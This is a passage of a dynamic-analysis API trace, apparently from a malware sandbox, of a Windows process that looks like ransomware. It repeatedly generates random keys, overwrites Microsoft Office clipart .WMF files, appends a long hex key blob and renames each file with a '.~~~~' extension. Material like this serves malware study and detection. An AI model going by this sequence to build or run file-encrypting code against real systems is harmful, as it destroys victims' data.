	[0116.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0116.274] GetLastError () returned 0x0
	[0116.274] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0116.275] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.275] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0116.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0116.275] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23626562314) returned 1
	[0116.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaecc9090, dwHighDateTime=0x1d60e1e)) 
	[0116.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0116.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0116.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0116.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e86c0
	[0116.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e86c0 | out: hHeap=0x300000) returned 1
	[0116.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0116.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1150
	[0116.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.276] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0116.277] GetLastError () returned 0x0
	[0116.277] GetLastError () returned 0x0
	[0116.277] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0116.277] GetLastError () returned 0x0
	[0116.277] GetLastError () returned 0x0
	[0116.729] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffff9358, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.729] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x6ca8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x6ca8, lpOverlapped=0x0) returned 1
	[0116.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.730] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.730] WriteFile (in: hFile=0x148, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.730] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.730] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.730] CloseHandle (hObject=0x148) returned 1
	[0116.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0116.731] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.~~~~")) returned 1
	[0116.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0116.732] GetLastError () returned 0x0
	[0116.732] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0116.733] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.733] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0116.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0116.734] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23672378636) returned 1
	[0116.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaf119870, dwHighDateTime=0x1d60e1e)) 
	[0116.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0116.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0116.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0116.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8730
	[0116.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8730 | out: hHeap=0x300000) returned 1
	[0116.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0116.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1448
	[0116.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.734] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0116.735] GetLastError () returned 0x0
	[0116.735] GetLastError () returned 0x0
	[0116.735] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0116.735] GetLastError () returned 0x0
	[0116.735] GetLastError () returned 0x0
	[0116.795] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffffa88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.795] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x578, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x578, lpOverlapped=0x0) returned 1
	[0116.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.798] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.798] WriteFile (in: hFile=0x148, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.798] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.798] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.798] CloseHandle (hObject=0x148) returned 1
	[0116.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0116.798] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.~~~~")) returned 1
	[0116.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0116.800] GetLastError () returned 0x0
	[0116.800] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0116.802] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.802] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0116.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0116.802] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23679214402) returned 1
	[0116.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaf1b1df0, dwHighDateTime=0x1d60e1e)) 
	[0116.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0116.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0116.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0116.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e88b8
	[0116.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e88b8 | out: hHeap=0x300000) returned 1
	[0116.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0116.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1578
	[0116.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.803] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0116.803] GetLastError () returned 0x0
	[0116.803] GetLastError () returned 0x0
	[0116.803] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0116.803] GetLastError () returned 0x0
	[0116.804] GetLastError () returned 0x0
	[0116.815] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffd994, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.815] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x266c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x266c, lpOverlapped=0x0) returned 1
	[0116.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.820] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.820] WriteFile (in: hFile=0x148, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.820] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.820] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.820] CloseHandle (hObject=0x148) returned 1
	[0116.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0116.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.~~~~")) returned 1
	[0116.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0116.866] GetLastError () returned 0x0
	[0116.867] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0116.868] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.868] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0116.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0116.868] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23685851471) returned 1
	[0116.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaf2704d0, dwHighDateTime=0x1d60e1e)) 
	[0116.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0116.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0116.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0116.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e89d0
	[0116.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e89d0 | out: hHeap=0x300000) returned 1
	[0116.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b19a0
	[0116.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.869] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0116.869] GetLastError () returned 0x0
	[0116.870] GetLastError () returned 0x0
	[0116.870] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0116.870] GetLastError () returned 0x0
	[0116.870] GetLastError () returned 0x0
	[0116.892] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc7d6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.892] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x382a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x382a, lpOverlapped=0x0) returned 1
	[0116.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0116.894] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.894] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.894] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.895] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.895] CloseHandle (hObject=0x11c) returned 1
	[0116.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0116.895] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf.~~~~")) returned 1
	[0116.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0116.896] GetLastError () returned 0x0
	[0116.897] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0116.898] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.898] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0116.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0116.898] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23688824578) returned 1
	[0116.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaf296630, dwHighDateTime=0x1d60e1e)) 
	[0116.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0116.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0116.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0116.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8a78
	[0116.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8a78 | out: hHeap=0x300000) returned 1
	[0116.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1c98
	[0116.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.899] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0116.899] GetLastError () returned 0x0
	[0116.899] GetLastError () returned 0x0
	[0116.899] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0116.900] GetLastError () returned 0x0
	[0116.900] GetLastError () returned 0x0
	[0116.963] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffccc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.963] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x334, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x334, lpOverlapped=0x0) returned 1
	[0117.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0117.048] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.048] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.048] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.048] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.048] CloseHandle (hObject=0x11c) returned 1
	[0117.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
